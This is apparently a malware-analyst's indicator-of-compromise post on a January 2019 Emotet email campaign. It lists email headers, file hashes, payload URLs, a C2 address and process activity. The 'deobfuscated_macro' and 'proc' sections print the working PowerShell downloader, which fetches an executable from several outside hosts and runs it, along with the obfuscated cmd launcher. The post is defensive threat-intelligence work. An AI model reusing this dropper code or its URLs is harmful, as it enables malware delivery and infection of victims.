#emotet_280119

#IOC #OptiData #VR #emotet #feodo #banker #xml #powershell

https://pastebin.com/z2TDfM7s

previous contact:
23/01/18		https://pastebin.com/D9TDts5J
20/12/18		https://pastebin.com/EejcbL4t
04/12/18        https://pastebin.com/znQDtbnt
09/11/18        https://pastebin.com/THHMs2wg
01/10/18        https://pastebin.com/Y6DnbpHv

FAQ:
https://twitter.com/dvk01uk/status/1087660817452011520
https://pastebin.com/g8gMJKui
https://radetskiy.wordpress.com/2018/10/19/ioc_emotet_011018/
https://kc.mcafee.com/corporate/index?page=content&id=KB90108

attack_vector
--------------
email attach .doc (XML) > macro > cmd > powershell_v5(!) > GET 5 URL > %temp%\***.exe

email_headers
--------------
Received: from qproxy4-pub.mail.unifiedlayer.com (qproxy4-pub.mail.unifiedlayer.com [66.147.248.250])
	by srv8.victim1.com for <user0@org7.victim1.com>;
	(envelope-from muhammad.suleman@ff.com.pk)
Received: from cmgw11.unifiedlayer.com (unknown [10.9.0.11])
	by qproxy4.mail.unifiedlayer.com (Postfix) for <user0@org7.victim1.com>;
Received: from box675.bluehost.com ([66.147.244.175])
Received: from [190.183.58.77] (port=59810 helo=10.4.44.65)
	by box675.bluehost.com (envelope-from <muhammad.suleman@ff.com.pk>)
Date: Mon, 28 Jan 2019 04:03:36 -0300
From: Цимбаленко <otsimbalenko@org0.ua> <muhammad.suleman@ff.com.pk>
To: user0@org7.victim1.com
Subject: Invoices from Цимбаленко

files
--------------
SHA-256	4e4074f7239656bdf361fc6bc8df862ed053105036d3bfad718f6492bc313465
File name	INV_JSO9316077-679.doc 	(XML)
File size	134.98 KB

SHA-256	79d4e70bf4c1f9eb8dc0c6e765fc2f5d1f48737fc0859a8a1130d99e65e441a2
File name	0C0sib5OX.exe		(PE)
File size	140 KB

activity
**************

deobfuscated_macro
--------------
powershell $apcjv='quduu';$wajal=new-object Net.WebClient;$dhbwoqn='tunerg{.} com/VhIZE8i3Fn@stoutarc{.} com@leonardokubrick{.} com/VvJBwtEF5w@antigua.aguilarnoticias{.} com/t1JnOLFO@regenerationcongo{.} com/UL2s3PGpv0'.Split('@');$vwhpj='wnwumd';$tzimwc = '604';$cktii='fppqf';$wvmjf=$env:temp+'\'+$tzimwc+'.exe';foreach($kkffho in $dhbwoqn){try{$wajal.DownloadFile($kkffho, $wvmjf);$ksimd='hwori';If ((Get-Item $wvmjf).length -ge 40000) {Invoke-Item $wvmjf;$oikri='kbccf';break;}}catch{}}$zqlki='cirmiw';


pl_src:     4/5
--------------
tunerg{.} com/VhIZE8i3Fn		200
stoutarc{.} com				200
leonardokubrick{.} com/VvJBwtEF5w	200
antigua.aguilarnoticias{.} com/t1JnOLFO	404 (reported)
regenerationcongo{.} com/UL2s3PGpv0	200

C2:
--------------
187.155.130.72:8080

netwrk
--------------
210.188.201.17		tunerg{.} com	GET /VhIZE8i3Fn HTTP/1.1 	noUA
187.155.130.72:8080

comp
--------------
powershtll.exe	2676	TCP	210.188.201.17	80	ESTABLISHED
turnedbased.exe	1648	TCP	201.194.127.211	990	SYN_SENT

proc
--------------
C:\Program Files (x86)\Microsoft Office\Office12\WINWORD.EXE
c:\windows\system32\cmd.exe c:\oucvl\ffaiizm\klfrwkw\..\..\..\windows\system32\cmd.exe  /c CmD /V:O/C"set vb=eL{~6'1i0fp;S4oFl2u@g.dwGUJ:EsyTh(CPb\czNmVvD=xkW$AZa-I )3}n/M8+%OB,5qrjt&&for %Z in ...do set ao=!ao!!vb:~%Z,1!&&if %Z==83 echo !ao:~-577!|cmd.exe"
C:\Windows\system32\cmd.exe CmD  /V:O/C"set vb=eL{~6'1i0fp;S4oFl2u@g.dwGUJ:EsyTh(CPb\czNmVvD=xkW$AZa-I )3}n/M8+%OB,5qrjt&&for %Z in ...do set ao=!ao!!vb:~%Z,1!&&if %Z==83 echo !ao:~-577!|cmd.exe"
C:\Windows\system32\cmd.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershtll.exe powershtll  $apcjv='quduu';$wajal=new-object Net.WebClient;$dhbwoqn='http://tunerg.com/VhIZE8i3Fn@http://stoutarc.com/J8htynMd3@http://leonardokubrick.com/VvJBwtEF5w@http://antigua.aguilarnoticias.com/t1JnOLFO@http://regenerationcongo.com/UL2s3PGpv0'.Split('@');$vwhpj='wnwumd';$tzimwc = '604';$cktii='fppqf';$wvmjf=$env:temp+'\'+$tzimwc+'.exe';foreach($kkffho in $dhbwoqn){try{$wajal.DownloadFile($kkffho, $wvmjf);$ksimd='hwori';If ((Get-Item $wvmjf).length -ge 40000) {Invoke-Item $wvmjf;$oikri='kbccf';break;}}catch{}}$zqlki='cirmiw';
C:\tmp\604.exe
C:\Users\operator\AppData\Local\turnedbased\turnedbased.exe

persist
--------------
n/a

drop
--------------
C:\tmp\604.exe
C:\Users\operator\AppData\Local\turnedbased\turnedbased.exe

# # #
https://www.virustotal.com/#/file/4e4074f7239656bdf361fc6bc8df862ed053105036d3bfad718f6492bc313465/details
https://www.virustotal.com/#/file/79d4e70bf4c1f9eb8dc0c6e765fc2f5d1f48737fc0859a8a1130d99e65e441a2/details
https://analyze.intezer.com/#/analyses/0bb6533d-294a-45ab-a85b-6b546e993db3

VR

@